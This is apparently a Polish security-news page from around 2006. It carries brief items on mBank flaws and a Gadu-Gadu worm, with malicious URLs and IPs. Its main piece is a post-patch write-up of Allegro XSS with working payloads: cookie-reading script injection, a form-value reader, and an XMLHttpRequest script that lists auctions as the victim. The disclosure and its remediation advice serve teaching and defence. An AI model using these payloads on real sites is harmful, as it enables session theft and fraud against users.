hoaxer
Opublikowana przez naszą redakcje informacja dotycząca luk w systemie Allegro zmobilizowała wielu naszych czytelników do sprawdzenia zabezpieczeń innych dużych platform i systemów finansowych, z których codziennie korzystają polscy internauci.
Jak się okazało mBank – jeden z dwóch największych banków wirtualnych w Polsce posiada luki, które po kliknięciu w odpowiednio spreparowany link pozwalają na dostęp do konta bankowego zalogowanego klienta tej instytucji.
Co prawda, nie ma możliwości wykonania przelewów – czyli teoretycznie nasze pieniądze są bezpieczne gdyż każda transakcja musi być uwierzytelniona hasłem jednorazowym z karty kodów.
Błędy w systemie dają jednak pełen wgląd do:
– danych o właścicielu konta (adres zamieszkania, e-mail itp.)
– historii przelewów (odbiorca i kwota)
– informacji o lokatach
– danych dotyczących kart kredytowych (numer karty, limity, producent)
– informacji o zaciągniętych kredytach, ubezpieczeniach
– listy przelewów / zleceń stałych
– numerów list haseł jednorazowych
Luki w systemie mBanku znalazł jeden z naszych czytelników – Michał Majchrowicz – wspólnie z naszym redakcyjnym kolegą Łukaszem Lachem.
Ze względu na duże zagrożenie związane z wykorzystaniem błędu – do czasu poprawienia systemu przez pion techniczny banku – nie publikujemy konkretnych informacji dotyczących odnalezionych podatności.
Źródło: własne
Szkoła Hackerów
W dniach 23-24 stycznia 2007 r. odbędzie się konferencja „Semafor” poświęcona bezpieczeństwu, audycie i zarządzaniu w IT.
Gośćmi specjalnymi będą: Pamela Fusco, jeden z najbardziej znanych na świecie ekspertów w zakresie bezpieczeństwa informatycznego i organizacyjnego oraz zarządzania ryzykiem (szefowa Global Information Security w CitiGroup) oraz Erik Guldentops, twórca koncepcji CobiT (doradca zarządów ISACA oraz IT Governance Institute).
Erik Guldentops poprowadzi również dwudniowy warsztat „CobiT 4.0 – – A true IT Governance Framework”.
Organizatorami konferencji są: tygodnik Computerworld oraz polskie oddziały stowarzyszeń ISSA i ISACA. Patronat medialny objęli CSO oraz hacking.pl.
http://semafor.computerworld.pl
W przedświątecznej emisji programu „Teraz My” mieliśmy okazję, zapoznać się z całkowitym zaniedbaniem bezpieczeństwa sieci przez administratorów Krajowej Agencji Poszanowania Energii. Niestety, czas antenowy nie pozwolił na dokładne przedstawienie sytuacji.
Wszystkich zainteresowanych działaniami podjętymi przez Pawła Jabłońskiego, zachęcamy do zapoznania się z treścią notatki umieszczoną w jego blogu.
http://paweljablonski.bblog.pl/
We wtorek wieczorem wielu użytkowników komunikatora Gadu-Gadu otrzymało pojedyncze wiadomości, w których znajdował się jedynie link do strony internetowej. Wiadomość możemy dostać nawet od nieznajomego, wystarczy, że on ma nas na swojej liście kontaktów.
Rozsyłane są wiadomości:
www.google.pl
www.jhjhaliwgpee.info
www.hsqvyrpzeh.info/wcoiyw.jpg
www.sqvyrpzeh.info/?awbiby.jpg
www.hhsqvyrpzeh.info/?awbiby.jpg
Fakt, że link przychodzi jako pojedyncza wiadomość, każe przypuszczać, że do użytkowników GG trafia jako zagnieżdżony w rozmowie obrazek. Ludzie, którzy rozsyłają linki, nie mają pojęcia, o co chodzi, bo – jak twierdzą – nic nie wysyłali.
Użytkownik Smalu deobfuskował kod strony (wysyłany jest tylko do użytkowników IE), wygląda na to, że do wstrzyknięcia używa techniki Trojan-Downloader.JS.Agent.ab, dalej nie wiadomo, co (oprócz rozsyłania linka dalej) robi sam trojan.
Problem dotyczy również użytkowników przeglądarki Mozilla Firefox z aktywną wtyczką Windows Media Player, przez którą uruchamiany jest kod robaka. Można się przed tym uchronić poprzez wyłączenie wtyczki WMP. Można to zrobić wpisując w pasek adresu about:config. Odnajdujemy klucz plugin.scan.WindowsMediaPlayer i ustalamy jego wartość na 12.0.
Po uruchomieniu robak skanuje dysk w poszukiwaniu plików profilu Gadu-Gadu – gromadzi hasła do kont oraz kontakty.
Dane te są następnie wykorzystywane do rozesłania złośliwych linków.
Takie działanie może powoduje złudną obsługę komunikatorów innych niż Gadu-Gadu, gdyż wielu z ich użytkowników posiada na swoich dyskach profile programu Gadu-Gadu.
Warto wspomnieć że sposób rozprzestrzeniania się robaka sam w sobie zawiera mechanizm automatycznej aktualizacji – każda z ofiar pobiera na swój dysk najbardziej aktualną wersję.
Nie jest znane szkodliwe działanie (poza rozprzestrzenianiem się) obecnych wersji, lecz kolejne wersje robaka mogą zawierać kod którego szkodliwość będzie dużo wyższa.
W kodzie robaka znaleziono tagi kilkunastu emotikon, co wskazuje na to że wiadomości mogą znacznie różnić się od wymienionych wyżej schematów (chociaż nie jest to potwierdzone).
Robak krążył po Internecie już od początku listopada, ten atak to jego nieco bardziej rozwinięta wersja, której pierwsze symptomy (jak atak na Firefoksa) pojawiły się około miesiąca temu.
Masowe wysyłanie wiadomości do użytkowników z listy kontaktów komunikatora powoduje także, że działanie zaczyna filtr antyspamowy serwerów Gadu-Gadu i wiadomości wychodzące i przychodzące do konta zarażonego zostają zablokowane na jakiś czas.
Exploit jest, przynajmniej na ten moment, ściągany zawsze z tego samego adresu.
Wystarczy więc na firewallu wyciąć adresy zamieszane w aferę (64.202.189.170 – strona do której prowadzi pierwszy link, 66.185.126.34 – ostateczny kod robaka), by zaznać chwilowego przynajmniej spokoju. Dokonano już tego w wielu sieciach osiedlowych.
Źródło: Wikinews
DI: Nowa fala złośliwych linków na Gadu-Gadu
Teraz, kiedy cała sprawa już trochę przycichła a, co najważniejsze, zgłoszone błędy zostały poprawione mam możliwość przedstawienia na czym dokładnie polegał znaleziony przeze mnie błąd w skryptach administracyjnych Allegro i w jaki sposób można to było wykorzystać.
Zaznajomieni z tematem wiedzą, że całość opierała się głównie na luce XSS (Cross-Site Scripting) w oparciu o którą instniała możliwość swobodnego manipulowania kodem źródłowym strony i treścią na niej zawartą.
Analiza kodu źródłowego
Przeglądając kod źródłowy strony zawierającej dane aukcji znajdujemy kod podobny do tego: <a href=/my_allegro.php?page=favourites>Ulubione</a>. Nie ma cudzysłowów otaczających wartość atrybutu href, więc mamy podstawę do podjęcia próby znalezienia błędu.
Podstawa do dalszej analizy
Okazuje się jednak, że wartości parametrów przekazywanych do my_allegro.php są prawidłowo filtrowane, więc w tym miejscu niczego nie znajdziemy. Sprawdzamy więc, czy do stworzenia adresu URL wykorzystywana jest zmienna $_SERVER[‚PHP_SELF’] i czy jej wartość jest prawidłowo filtrowana; wywołujemy URL http://allegro.pl/my_allegro.php/abc?page=favourites – znajdujemy w kodzie ciąg znaków abc, a jako, że nie ma cudzysłowów próbujemy zwyczajnie zamknąć znacznik odnośnika wywołując z kolei http://allegro.pl/my_allegro.php/%3E?page=favourites
http://allegro.pl/my_allegro.php/>?page=favourites
Ku naszemu zadowoleniu udaje się. Możemy więc bez problemu odczytać wartości ciasteczek: http://allegro.pl/my_allegro.php/%3E%3Cscript%3Ealert(
document.cookie)%3C/script%3Epe=set_my
http://allegro.pl/my_allegro.php/><script>alert(
document.cookie)</script>pe=set_my
Powiększamy kod źródłowy strony
Skoro można dołączyć dowolny kod źródłowy, to praktycznie sprawa jest zakończona. Jednak fajnie by było, gdyby dało się wykorzystywać cudzysłowa aby umieścić bardziej skomplikowany kod JavaScript. Niestety, cudzysłowa są filtrowane i w tradycyjny sposób ich nie wykorzystamy. Nic straconego, bo jest w końcu funkcja String.fromCharCode, która na podstawie przekazanych kodów ASCII zwraca łańcuch znaków z nich złożony. Próbujemy więc wyświetlić dane osobowe: http://ssl.allegro.pl/my_allegro.php/%3E%3Cscript%3Ewindow.onload=
function()%7Ba=document.getElementsByTagName(String.fromCharCode(105,110,
112,117,116));for(b=0;b%3Ca.length;b++)alert(a%5Bb%5D.value);%7D%3C/script%3E
?page=settings&type=set_my
http://ssl.allegro.pl/my_allegro.php/><script>window.onload=
function(){a=document.getElementsByTagName(String.fromCharCode(105,110,
112,117,116));for(b=0;b<a.length;b++)alert(a[b].value);}</script>
?page=settings&type=set_my
Sprzedajemy
Wystawienie aukcji nie wymaga ponownego zalogowania, więc możemy stworzyć skrypt, który wystawi aukcję automatycznie, bez wiedzy użytkownika. Opierając się na wcześniejszym kodzie dołączamy do strony element script z odwołaniem do pliku .js na naszym serwerze. Analizując zachowanie panelu administracyjnego podczas wystawiania aukcji i mając na oku przesyłane do serwera dane tworzymy skrypt, wykorzystujacy obiekt XMLHttpRequest wystawiający aukcję:
var xhr;
var auctionTitle = ‚Tytul’;
var auctionDescr = ‚Opis’;
if (typeof XMLHttpRequest != ‚undefined’)
xhr = new XMLHttpRequest(); else
xhr = new ActiveXObject(‚Microsoft.XMLHttp’);
xhr.onreadystatechange = function() {
if (xhr.readyState != 4) return;
var r = xhr.responseText;
var uniqid = new RegExp(‚item_unique_key” value=”([a-z0-9]+)”‚).exec(r)[1];
xhr.abort();
xhr.onreadystatechange = function() {
if (xhr.readyState != 4) return;
// Done.
}
xhr.open(‚POST’, ‚/add_item.php’, true);
xhr.setRequestHeader(‚Content-type’, ‚application/x-www-form-urlencoded’);
xhr.send(‚var_appendix=00&wysiwyg=2&item_unique_key=’+uniqid);
}
xhr.open(‚POST’, ‚/new_item_preview.php’, true);
xhr.setRequestHeader(‚Content-type’, ‚application/x-www-form-urlencoded’);
xhr.send(‚var_appendix=00&item_country=1&starting_time_00=
&category=28118&auction_type=buy_now&explicit_content=0
&item_name=’+encodeURIComponent(auctionTitle)+’&counter_info=
+45&no_attribs=1&description=’+encodeURIComponent(auctionDescr)
+’&wysiwyg=2&select_cat=&load_foto=&remove_foto=&select_sell_type=
&force_txt=&foto=&foto_path=&load_foto_auto=0&buy_now_price=1000000
&sell_quantity=1&sell_by_set=&future_active=0&auction_duration=7
&selected_country=1&state=7&location=Warszawa&transport=buyer
&transport_shipment=on&wire_transfer=on&postage_transfer=
&ask_for_payu=on&counter_trans=+500’);
Tyle
Nic więcej nie jest już potrzebne. Z pomocą stworzonego wcześniej kodu możemy bez problemu przesłać do siebie dane osobowe, nazwę użytkownika i hasło (korzystając z RCSR) czy listę aukcji, a prawdę mówiąc wystarczy sama wartość ciasteczek, bo z powodu luki Session Fixation ustawienie czyjegoś identyfikatora sesji u siebie i odświeżenie strony wystarcza, aby przeglądać panel administracyjny jako ta osoba.
Co było nie tak?
Raz – atrybuty znaczników powinny być otoczone cudzysłowami. Trzeba pamiętać, że nie chodzi tu tylko o kosmetykę, ale także bezpieczeństwo. Gdyby były, to nawet fakt, że występowała luka XSS, nie dało by się jej wykorzystać, bo cudzysłowa i inne kluczowe dla HTML znaki były poprawnie filtorwane przez skrypty Allegro. Dwa – nie wolno zapominać, że tablica $_SERVER również zawiera dane pochodzące z zewnątrz, którymi trzeba się przyjrzeć przed wypisaniem ich na stronie. Dotyczy to także zmiennej $_SERVER[‚PHP_SELF’], która najprawdopodobniej była zwyczajnie wyświetlana bez uprzedniej filtracji.
Uwaga: Powyższy opis ma charakter czysto edykacyjny i tak też proszę go traktować. Opis dotyczy skryptów administracyjnych Allegro przed nałożonymi niedawno poprawkami (aktualny dnia 11.12.2006).
Żródło: własne
Zobacz również:
Allegro wydało oświadczenie
Allegro milczy i zapowiada przerwę techniczną
Allegro pełne dziur!
Allegro jest największym polskim serwisem aukcyjnym, którego codziennie używają tysiące osób sprzedając i kupując rozmaite przedmioty. Każda z tych akcji wymaga zalogowania się do części „Moje Allegro” której, jak się okazało, poziom bezpieczeństwa jest równy zeru, a co jednocześnie nie za bardzo interesuje pracowników Allegro, bo pomimo wysłania dwóch maili z konkretnymi przykładami ataków pozostały one bez odzewu.
Znalezienie kilku błędów w skryptach administracyjnych Allegro zajęło dokładnie 3 minuty wliczając czasy ładowania się dokumentów HTML i grafik.
Błędy te są bardzo poważne, o czym może świadczyć fakt, że osoba atakująca, z pomocą spreparowanego adresu URL, może bez większego trudu wykraść wszystkie dane osobowe (łącznie z adresem i numerem telefonu), nazwę użytkownika i hasło, listę wystawionych i obserwowanych aukcji itd.
Można także bez większego problemu dostać się do danych związanych z sesją, aby, po ustawieniu identycznych wartości u siebie, przeglądać część administracyjną już jako zaatakowana osoba.
Plusem systemu Allegro jest fakt, że przed wykonaniem kluczowych operacji pyta o nazwę użytkownika i hasło (co traci sens, jeśli da się je wykraść, ale zawsze).
Jednak, co ciekawe, wystawienie nowej aukcji nie należy do tej grupy akcji i podczas próby ataku można swobodnie wystawić aukcję w dowolnej kategorii, o dowolnym tytule, opisie i kwocie kupna, której właścicielem będzie atakowana osoba.
Spreparowany adres URL można oczywiście przepuścić najpierw przez jeden z wielu serwisów służących do generowania krótszych adresów, umieścić go w ukrytym IFRAME pod dowolną domeną lub wewnątrz wiadomości e-mail, co praktycznie uniemożliwia skuteczne wykrycie ataku.
Całość sprowadza się do tego, że nie tylko panel administracyjny Allegro jest podatny na takie ataki jak XSS (Cross Site Scripting), CSRF (Cross-Site Request Forgery) i Session Fixation, a w konsekwencji i na RCSR oraz Session Riding, ale również o to, że ignorancja pracowników Allegro może przekształcić się w spory problem dla niczego nieświadomych użytkowników.
Źródło: własne
Oto dowody: